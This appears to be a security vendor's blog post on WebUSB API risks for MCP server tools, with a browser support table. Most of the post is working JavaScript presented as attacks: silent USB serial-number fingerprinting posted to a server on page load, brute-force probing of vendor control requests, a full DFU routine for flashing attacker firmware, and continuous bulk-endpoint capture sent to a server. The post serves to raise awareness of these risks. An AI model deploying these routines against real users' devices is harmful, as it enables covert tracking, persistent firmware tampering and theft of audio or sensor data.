MCP Server Security · WebUSB API · navigator.usb · USB Device Access · Control Transfer · DFU Firmware Update · Device Fingerprinting · Persistent USB Grant · Bulk Transfer Exfiltration
MCP server WebUSB API security
The WebUSB API (navigator.usb) gives browser-based code direct access to non-standard USB devices — development boards, custom hardware, USB security tokens in non-CTAP mode, and DFU-capable embedded systems. One permission approval persists forever. In MCP server contexts, that single grant enables silent device enumeration, vendor-specific control transfers, bulk data exfiltration, and DFU firmware injection — all without any additional browser dialog.
WebUSB API surface
// WebUSB API — Chrome 61+, Edge 79+, Electron; HTTPS only; user gesture for requestDevice()
// Grants persist indefinitely — getDevices() returns approved devices on every future page load
// Check availability
if ('usb' in navigator) {
console.log('WebUSB API available');
}
// ONE-TIME: request a device (user picks from browser dialog — grant persists forever)
const device = await navigator.usb.requestDevice({
filters: [{ vendorId: 0x2341 }] // filter by USB Vendor ID (0x2341 = Arduino)
});
// ALL SUBSEQUENT SESSIONS: get previously-granted devices — no dialog
const devices = await navigator.usb.getDevices(); // returns all approved devices silently
const device = devices[0];
// Open, select configuration and interface
await device.open();
await device.selectConfiguration(1); // USB configuration index
await device.claimInterface(0); // claim the interface for exclusive access
// Control transfer (sends to device's control endpoint — default endpoint 0)
const result = await device.controlTransferIn({
requestType: 'vendor', // 'standard', 'class', or 'vendor'
recipient: 'device',
request: 0x01, // vendor-specific request number
value: 0x0000,
index: 0x0000
}, 64); // read up to 64 bytes of response
// Bulk transfer — read from bulk IN endpoint
const bulkResult = await device.transferIn(1, 64); // endpoint 1, read 64 bytes
const bulkData = await device.transferOut(1, new Uint8Array([0x01, 0x02]));
// Device descriptor — readable without claiming any interface
console.log({
vendorId: device.vendorId.toString(16), // e.g., "2341" (Arduino LLC)
productId: device.productId.toString(16), // e.g., "0043" (Uno Rev3)
serialNumber: device.serialNumber, // unique per-device hardware serial
manufacturer: device.manufacturerName, // "Arduino LLC"
product: device.productName // "Arduino Uno"
});
Permanent grant, no indicator: USB device grants appear only in chrome://settings/content/usbDevices. There is no persistent browser badge or notification indicating the page retains USB access. A tool approved once retains access across all future sessions indefinitely — including after the tool is removed from the MCP host, if the page is still cached or a PWA is installed.
Attack 1 — silent device enumeration and hardware fingerprinting
After the first grant, navigator.usb.getDevices() returns USB descriptors (vendorId, productId, serialNumber, manufacturer, product name) for all previously approved devices without any user interaction. This provides a high-entropy hardware fingerprint: the combination of vendor/product ID and serial number uniquely identifies the physical device. Serial numbers persist across OS reinstalls and are useful for cross-session tracking even in private browsing mode.
// Attack: enumerate all previously-granted USB devices and build a hardware fingerprint
// No user interaction required — runs silently on every page load
async function usbHardwareFingerprint() {
const devices = await navigator.usb.getDevices(); // silent, no dialog
const fingerprint = devices.map(d => ({
vendorId: d.vendorId.toString(16).padStart(4, '0'),
productId: d.productId.toString(16).padStart(4, '0'),
serialNumber: d.serialNumber, // unique per-device, survives OS reinstall
manufacturer: d.manufacturerName,
product: d.productName,
usbVersionMajor: d.usbVersionMajor,
deviceClass: d.deviceClass
}));
// Fingerprint derived from serial number survives:
// - Browser history clear
// - localStorage / IndexedDB clear
// - OS reinstall (hardware serial is burned into the device)
// - IP address change (VPN/proxy)
// Cross-session tracking: same USB serial number = same physical computer
await fetch('/api/fingerprint', {
method: 'POST',
body: JSON.stringify({ usb: fingerprint, ts: Date.now() })
});
return fingerprint;
}
document.addEventListener('DOMContentLoaded', usbHardwareFingerprint);
Attack 2 — vendor-specific control transfer abuse
USB control transfers are the primary way host software configures USB devices. Vendor-class control requests (requestType: 'vendor') are device-specific and often undocumented. Many USB devices expose debug or configuration modes via vendor control requests — including switching devices to DFU mode, exposing hidden interfaces, disabling authentication features, or reading raw flash memory contents. A malicious MCP tool can probe these undocumented control requests systematically.
// Attack: probe vendor-specific control requests to discover undocumented device capabilities
// Many USB devices have hidden control requests for factory reset, debug mode, raw flash access
async function probeControlRequests(device) {
await device.open();
await device.selectConfiguration(1);
const results = [];
// Probe all 256 vendor request numbers (0x00–0xFF)
for (let request = 0; request < 256; request++) {
try {
const result = await device.controlTransferIn({
requestType: 'vendor',
recipient: 'device',
request,
value: 0,
index: 0
}, 64);
if (result.status === 'ok' && result.data.byteLength > 0) {
results.push({
request: `0x${request.toString(16).padStart(2,'0')}`,
bytes: Array.from(new Uint8Array(result.data.buffer)),
length: result.data.byteLength
});
}
} catch {} // STALL = unsupported request, skip
}
// results contains every supported vendor control request and its response
// Interpretation varies by device; common findings:
// 0x01 → firmware version string
// 0x10 → device serial number in raw form
// 0xFF → enter DFU / bootloader mode
return results;
}
Attack 3 — DFU firmware injection
USB Device Firmware Update (DFU) is a standardized protocol (USB DFU 1.1 spec) for loading new firmware onto microcontrollers over USB. Many development boards (STM32, nRF52840, SAMD21, RP2040 in BOOTSEL mode, Nordic Thingy) implement the DFU interface. A WebUSB tool with device access can upload arbitrary firmware silently — permanently altering the device's behavior in a way that survives power cycles and OS reinstalls.
// Attack: upload modified firmware to a DFU-capable device via WebUSB
// USB DFU 1.1 — standardized protocol; supported by STM32, nRF52, SAMD21, RP2040
const DFU_DETACH = 0; // DFU class request: detach (switch to DFU mode from app mode)
const DFU_DNLOAD = 1; // DFU class request: download (write firmware block)
const DFU_GETSTATUS = 3; // DFU class request: get status
async function dfuDownload(device, firmwareData) {
await device.open();
await device.selectConfiguration(1);
await device.claimInterface(0); // DFU interface is typically interface 0
const BLOCK_SIZE = 64; // standard DFU block size
const bytes = new Uint8Array(firmwareData);
let blockNum = 0;
for (let offset = 0; offset < bytes.length; offset += BLOCK_SIZE) {
const block = bytes.slice(offset, offset + BLOCK_SIZE);
// DFU_DNLOAD — send one firmware block to the device
await device.controlTransferOut({
requestType: 'class',
recipient: 'interface',
request: DFU_DNLOAD,
value: blockNum, // block sequence number
index: 0
}, block);
// DFU_GETSTATUS — poll until device is ready for next block
let status;
do {
await new Promise(r => setTimeout(r, 10));
const resp = await device.controlTransferIn({
requestType: 'class', recipient: 'interface',
request: DFU_GETSTATUS, value: 0, index: 0
}, 6);
status = new DataView(resp.data.buffer).getUint8(4); // bState
} while (status !== 5); // dfuDNLOAD-IDLE = ready
blockNum++;
}
// Send zero-length DFU_DNLOAD to signal end of firmware
await device.controlTransferOut({
requestType: 'class', recipient: 'interface',
request: DFU_DNLOAD, value: blockNum, index: 0
}, new Uint8Array(0));
// Device now running attacker firmware — persists across all power cycles
}
Attack 4 — bulk endpoint data exfiltration
Bulk endpoints stream data from the device to the host continuously. A USB security key in non-CTAP mode, a USB audio interface during recording, or a custom sensor device all expose bulk IN endpoints. An MCP tool with device access can read these bulk streams and exfiltrate the data — capturing raw audio samples, sensor readings, or proprietary protocol messages from the device.
// Attack: continuously read all data from bulk IN endpoints of the granted USB device
// Exfiltrate the raw USB bulk stream to a remote server
async function bulkExfiltration(device) {
await device.open();
await device.selectConfiguration(1);
// Discover all bulk IN endpoints across all interfaces
for (const intf of device.configuration.interfaces) {
try {
await device.claimInterface(intf.interfaceNumber);
} catch {} // may be claimed by OS driver
for (const ep of intf.alternate.endpoints) {
if (ep.type === 'bulk' && ep.direction === 'in') {
// Start continuous read loop on each bulk IN endpoint
(async () => {
const buffer = [];
while (true) {
try {
const result = await device.transferIn(ep.endpointNumber, ep.packetSize);
if (result.status === 'ok') {
buffer.push(...new Uint8Array(result.data.buffer));
if (buffer.length > 1024) {
await fetch('/api/usb-bulk', {
method: 'POST',
body: JSON.stringify({ ep: ep.endpointNumber, data: buffer.splice(0) })
});
}
}
} catch { break; }
}
})();
}
}
}
}
// Real attack targets:
// - USB audio interfaces: captures raw PCM audio from microphone input
// - USB security tokens (non-CTAP mode): reads proprietary protocol messages
// - Custom USB sensors: captures measurement data stream
// - USB CDC-ACM devices: reads serial-over-USB data
What SkillAudit checks
Browser and platform support
| Platform | WebUSB API | Persistent grants | DFU support | Permissions-Policy |
|---|---|---|---|---|
| Chrome 61+ | Full | Yes (indefinite) | Via USB class | usb=() blocks API |
| Edge 79+ | Full | Yes | Via USB class | usb=() |
| Firefox | Not supported | N/A | N/A | N/A |
| Safari | Not supported | N/A | N/A | N/A |
| Electron | Full (Chromium) | Yes | Yes | Via webPreferences |
Related: Web Serial API security · WebHID API security · Web MIDI API security · OPFS deep dive · All security posts